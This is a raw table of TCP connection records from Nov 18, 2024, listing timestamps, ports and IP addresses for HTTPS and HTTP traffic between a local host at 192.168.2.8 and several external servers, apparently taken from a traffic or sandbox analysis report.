Nov 18, 2024 13:29:10.939398050 CET	49710	443	192.168.2.8	4.175.87.197
Nov 18, 2024 13:29:10.939414024 CET	443	49710	4.175.87.197	192.168.2.8
Nov 18, 2024 13:29:11.989907026 CET	49712	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:11.989959002 CET	443	49712	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:11.990056038 CET	49712	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:11.990245104 CET	49712	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:11.990258932 CET	443	49712	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:12.044472933 CET	443	49710	4.175.87.197	192.168.2.8
Nov 18, 2024 13:29:12.044544935 CET	49710	443	192.168.2.8	4.175.87.197
Nov 18, 2024 13:29:12.048892021 CET	49710	443	192.168.2.8	4.175.87.197
Nov 18, 2024 13:29:12.048902035 CET	443	49710	4.175.87.197	192.168.2.8
Nov 18, 2024 13:29:12.049199104 CET	443	49710	4.175.87.197	192.168.2.8
Nov 18, 2024 13:29:12.096223116 CET	49710	443	192.168.2.8	4.175.87.197
Nov 18, 2024 13:29:12.397121906 CET	49710	443	192.168.2.8	4.175.87.197
Nov 18, 2024 13:29:12.439332962 CET	443	49710	4.175.87.197	192.168.2.8
Nov 18, 2024 13:29:12.466787100 CET	49715	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:12.466828108 CET	443	49715	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:12.467354059 CET	49715	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:12.467410088 CET	49715	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:12.467417955 CET	443	49715	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:12.548311949 CET	49704	443	192.168.2.8	23.206.229.226
Nov 18, 2024 13:29:12.548407078 CET	49704	443	192.168.2.8	23.206.229.226
Nov 18, 2024 13:29:12.549735069 CET	49716	443	192.168.2.8	23.206.229.226
Nov 18, 2024 13:29:12.549772978 CET	443	49716	23.206.229.226	192.168.2.8
Nov 18, 2024 13:29:12.549851894 CET	49716	443	192.168.2.8	23.206.229.226
Nov 18, 2024 13:29:12.551408052 CET	49716	443	192.168.2.8	23.206.229.226
Nov 18, 2024 13:29:12.551438093 CET	443	49716	23.206.229.226	192.168.2.8
Nov 18, 2024 13:29:12.553368092 CET	443	49704	23.206.229.226	192.168.2.8
Nov 18, 2024 13:29:12.553383112 CET	443	49704	23.206.229.226	192.168.2.8
Nov 18, 2024 13:29:12.582138062 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:12.582168102 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:12.582243919 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:12.582559109 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:12.582580090 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:12.676857948 CET	49718	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:12.676913023 CET	443	49718	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:12.676978111 CET	49718	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:12.677190065 CET	49718	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:12.677201986 CET	443	49718	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:12.769633055 CET	443	49710	4.175.87.197	192.168.2.8
Nov 18, 2024 13:29:12.769660950 CET	443	49710	4.175.87.197	192.168.2.8
Nov 18, 2024 13:29:12.769668102 CET	443	49710	4.175.87.197	192.168.2.8
Nov 18, 2024 13:29:12.769716978 CET	49710	443	192.168.2.8	4.175.87.197
Nov 18, 2024 13:29:12.769733906 CET	443	49710	4.175.87.197	192.168.2.8
Nov 18, 2024 13:29:12.769743919 CET	443	49710	4.175.87.197	192.168.2.8
Nov 18, 2024 13:29:12.769788980 CET	49710	443	192.168.2.8	4.175.87.197
Nov 18, 2024 13:29:12.770297050 CET	443	49710	4.175.87.197	192.168.2.8
Nov 18, 2024 13:29:12.770359039 CET	49710	443	192.168.2.8	4.175.87.197
Nov 18, 2024 13:29:12.770365000 CET	443	49710	4.175.87.197	192.168.2.8
Nov 18, 2024 13:29:12.790929079 CET	49710	443	192.168.2.8	4.175.87.197
Nov 18, 2024 13:29:12.790958881 CET	443	49710	4.175.87.197	192.168.2.8
Nov 18, 2024 13:29:12.790968895 CET	49710	443	192.168.2.8	4.175.87.197
Nov 18, 2024 13:29:12.791193008 CET	443	49710	4.175.87.197	192.168.2.8
Nov 18, 2024 13:29:12.791234970 CET	443	49710	4.175.87.197	192.168.2.8
Nov 18, 2024 13:29:12.791311026 CET	49710	443	192.168.2.8	4.175.87.197
Nov 18, 2024 13:29:12.851169109 CET	443	49712	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:12.851522923 CET	49712	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:12.851542950 CET	443	49712	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:12.852580070 CET	443	49712	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:12.852700949 CET	49712	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:12.858288050 CET	49712	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:12.858367920 CET	443	49712	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:12.858494043 CET	49712	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:12.858505011 CET	443	49712	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:12.902508020 CET	49712	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.151828051 CET	443	49712	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.151894093 CET	443	49712	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.151926994 CET	443	49712	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.152002096 CET	49712	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.152040958 CET	443	49712	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.152245998 CET	49712	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.154797077 CET	443	49712	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.156070948 CET	49712	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.156112909 CET	443	49712	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.156234026 CET	49712	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.228634119 CET	443	49716	23.206.229.226	192.168.2.8
Nov 18, 2024 13:29:13.228707075 CET	49716	443	192.168.2.8	23.206.229.226
Nov 18, 2024 13:29:13.276761055 CET	49716	443	192.168.2.8	23.206.229.226
Nov 18, 2024 13:29:13.276781082 CET	443	49716	23.206.229.226	192.168.2.8
Nov 18, 2024 13:29:13.277117968 CET	443	49716	23.206.229.226	192.168.2.8
Nov 18, 2024 13:29:13.277173996 CET	49716	443	192.168.2.8	23.206.229.226
Nov 18, 2024 13:29:13.282834053 CET	49716	443	192.168.2.8	23.206.229.226
Nov 18, 2024 13:29:13.282867908 CET	443	49716	23.206.229.226	192.168.2.8
Nov 18, 2024 13:29:13.283025980 CET	49716	443	192.168.2.8	23.206.229.226
Nov 18, 2024 13:29:13.316272020 CET	443	49715	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.316643000 CET	49715	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.316663980 CET	443	49715	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.317713022 CET	443	49715	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.317775965 CET	49715	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.318099022 CET	49715	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.318161011 CET	443	49715	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.318439007 CET	49715	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.318447113 CET	443	49715	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.327327967 CET	443	49716	23.206.229.226	192.168.2.8
Nov 18, 2024 13:29:13.371192932 CET	49715	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.430339098 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.430583000 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.430593014 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.431802988 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.431868076 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.432248116 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.432317019 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.432574034 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.432581902 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.480614901 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.520493984 CET	443	49716	23.206.229.226	192.168.2.8
Nov 18, 2024 13:29:13.521855116 CET	443	49716	23.206.229.226	192.168.2.8
Nov 18, 2024 13:29:13.521953106 CET	49716	443	192.168.2.8	23.206.229.226
Nov 18, 2024 13:29:13.524296045 CET	49716	443	192.168.2.8	23.206.229.226
Nov 18, 2024 13:29:13.524324894 CET	443	49716	23.206.229.226	192.168.2.8
Nov 18, 2024 13:29:13.524336100 CET	49716	443	192.168.2.8	23.206.229.226
Nov 18, 2024 13:29:13.524415970 CET	49716	443	192.168.2.8	23.206.229.226
Nov 18, 2024 13:29:13.535036087 CET	443	49718	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.535331011 CET	49718	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.535371065 CET	443	49718	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.536504984 CET	443	49718	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.536588907 CET	49718	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.536915064 CET	49718	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.536994934 CET	443	49718	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.537048101 CET	49718	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.579343081 CET	443	49718	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.579411030 CET	49718	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.579427004 CET	443	49718	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.589844942 CET	443	49715	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.621464968 CET	49718	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.637067080 CET	49715	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.637084007 CET	443	49715	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.638950109 CET	49715	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.639070034 CET	443	49715	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.639142990 CET	49715	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.714533091 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.714652061 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.714690924 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.714725971 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.714731932 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.714747906 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.714777946 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.714808941 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.714962006 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.714984894 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.723010063 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.723069906 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.723082066 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.777672052 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.777684927 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.820183992 CET	443	49718	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.824584961 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.831430912 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.831521988 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.831759930 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.831777096 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.833319902 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.833369970 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.833381891 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.837603092 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.837730885 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.837739944 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.846363068 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.849725962 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.849749088 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.871433973 CET	49718	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.871467113 CET	443	49718	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.872612000 CET	49718	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.872824907 CET	443	49718	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.872881889 CET	49718	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.902762890 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.902776003 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.948508024 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.948579073 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.950292110 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.950331926 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.950361013 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.950375080 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.950680971 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.952706099 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.955949068 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.956011057 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.956023932 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.968687057 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:13.968765020 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:13.968777895 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.003556013 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.003613949 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.003626108 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.058099031 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.065598011 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.067840099 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.067935944 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.067945957 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.071865082 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.071902037 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.071918011 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.071924925 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.072000980 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.073362112 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.086369038 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.086425066 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.086431980 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.120816946 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.120846033 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.120879889 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.120891094 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.121030092 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.182655096 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.186378956 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.186427116 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.186453104 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.186463118 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.186561108 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.189012051 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.197875977 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.197918892 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.198019981 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.198028088 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.198096991 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.227216959 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.238145113 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.238204002 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.238221884 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.292929888 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.292939901 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.299896955 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.299952984 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.299961090 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.303559065 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.303646088 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.303662062 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.306559086 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.306662083 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.306668997 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.315037012 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.315128088 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.315135956 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.354995966 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.355074883 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.355094910 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.402751923 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.402765989 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.416996002 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.417077065 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.417087078 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.420845032 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.420934916 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.420944929 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.423893929 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.423929930 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.423960924 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.423969030 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.423989058 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.424010992 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.432735920 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.432776928 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.432878971 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.432888985 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.432949066 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.472079039 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.527368069 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.527400017 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.534250021 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.534468889 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.534478903 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.537878036 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.537982941 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.537991047 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.541327000 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.541368008 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.541376114 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.541536093 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.541672945 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.541680098 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.549335003 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.550101995 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.550131083 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.589396000 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.589432955 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.589593887 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.589603901 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.589809895 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.657423019 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.657490969 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.657535076 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.657586098 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.657598972 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.657757998 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.659266949 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.659320116 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.659415960 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.659424067 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.659450054 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.659604073 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.659611940 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.659756899 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.659867048 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.659930944 CET	49717	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.659944057 CET	443	49717	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.878424883 CET	49724	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.878474951 CET	443	49724	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:14.878556967 CET	49724	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.878793001 CET	49724	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:14.878813982 CET	443	49724	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:15.142292023 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:15.142914057 CET	49727	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:15.147281885 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:15.147795916 CET	80	49727	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:15.148070097 CET	49727	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:15.148351908 CET	49727	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:15.153212070 CET	80	49727	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:15.716873884 CET	443	49724	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:15.717343092 CET	49724	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:15.717360973 CET	443	49724	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:15.718419075 CET	443	49724	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:15.718472958 CET	49724	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:15.718873978 CET	49724	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:15.718938112 CET	443	49724	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:15.761853933 CET	49724	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:15.761873960 CET	443	49724	142.250.185.68	192.168.2.8
Nov 18, 2024 13:29:15.808743000 CET	49724	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:16.439168930 CET	49728	443	192.168.2.8	184.28.90.27
Nov 18, 2024 13:29:16.439209938 CET	443	49728	184.28.90.27	192.168.2.8
Nov 18, 2024 13:29:16.439321041 CET	49728	443	192.168.2.8	184.28.90.27
Nov 18, 2024 13:29:16.441962957 CET	49728	443	192.168.2.8	184.28.90.27
Nov 18, 2024 13:29:16.441982985 CET	443	49728	184.28.90.27	192.168.2.8
Nov 18, 2024 13:29:16.564670086 CET	80	49727	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:16.564773083 CET	49727	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:16.930036068 CET	49727	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:16.934914112 CET	80	49727	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:17.006207943 CET	49724	443	192.168.2.8	142.250.185.68
Nov 18, 2024 13:29:17.278774977 CET	443	49728	184.28.90.27	192.168.2.8
Nov 18, 2024 13:29:17.278842926 CET	49728	443	192.168.2.8	184.28.90.27
Nov 18, 2024 13:29:17.280843019 CET	49728	443	192.168.2.8	184.28.90.27
Nov 18, 2024 13:29:17.280850887 CET	443	49728	184.28.90.27	192.168.2.8
Nov 18, 2024 13:29:17.281094074 CET	443	49728	184.28.90.27	192.168.2.8
Nov 18, 2024 13:29:17.321871042 CET	49728	443	192.168.2.8	184.28.90.27
Nov 18, 2024 13:29:17.363349915 CET	443	49728	184.28.90.27	192.168.2.8
Nov 18, 2024 13:29:17.562612057 CET	443	49728	184.28.90.27	192.168.2.8
Nov 18, 2024 13:29:17.562685013 CET	443	49728	184.28.90.27	192.168.2.8
Nov 18, 2024 13:29:17.562751055 CET	49728	443	192.168.2.8	184.28.90.27
Nov 18, 2024 13:29:17.562870026 CET	49728	443	192.168.2.8	184.28.90.27
Nov 18, 2024 13:29:17.562886953 CET	443	49728	184.28.90.27	192.168.2.8
Nov 18, 2024 13:29:17.562899113 CET	49728	443	192.168.2.8	184.28.90.27
